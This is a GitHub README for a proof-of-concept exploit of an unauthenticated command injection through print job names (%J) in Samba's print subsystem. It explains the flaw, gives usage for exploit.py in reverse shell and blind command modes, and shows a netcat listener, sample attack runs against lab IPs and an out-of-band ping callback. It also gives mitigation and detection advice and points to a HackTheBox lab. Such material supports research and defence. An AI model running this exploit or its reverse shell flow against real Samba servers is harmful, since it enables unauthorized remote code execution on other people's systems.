thecybergeek/cve-2026-4480-pocProof-of-concept exploit for CVE-2026-4480, an unauthenticated remote command execution in Samba's print subsystem via %J injection. Includes reverse shell and blind command execution modes, with detection and mitigation guidance.
%J) injection PoCImportant — Read this first:
This repository andexploit.pyare provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written authorization. Unauthorized access to computer systems is illegal and unethical. By using this code you agree to follow applicable laws and institutional policies.
Unauthenticated remote command execution in Samba's print subsystem. When a print
job finishes spooling, Samba runs the configured print command through system(),
substituting %s (spool file path) and %J (client-supplied job name) into the
string. Before the fix the job name was passed in with the single transformation
' → _ and nothing else, so , , , spaces, , and backticks all reach
the shell. A that references is therefore a shell-injection sink,
and since guests may submit print jobs, the issue is .
|;&<>print command%Jprint command that references %J
(printing = sysv-style). printing = cups / iprint go through the CUPS API and
are not affected.sudo apt install python3-samba
print command references %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
| Arg / option | Meaning |
|---|---|
rhost | Target Samba host / IP |
lhost | Your listener IP |
lport | Your listener port |
-P, --printer | Guest printer share name (default: HP-Reception) |
-c, --cmd | Run an arbitrary command instead of a reverse shell |
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
You should catch a shell as the print service account (e.g. nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Because execution is blind (the command runs server-side and returns nothing on the
RPC channel), confirm it out of band first, e.g. an ICMP callback you watch with
tcpdump -ni tun0 icmp:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J',
drop %J, or move to printing = cups.smbd spawning shells (sh/bash/nc/python/curl) and document names
containing shell metacharacters.I have created a box on HackTheBox called Abducted to showcase the vulnerability and give you a hands on example of how attackers could leverage this in a misconfigured environment.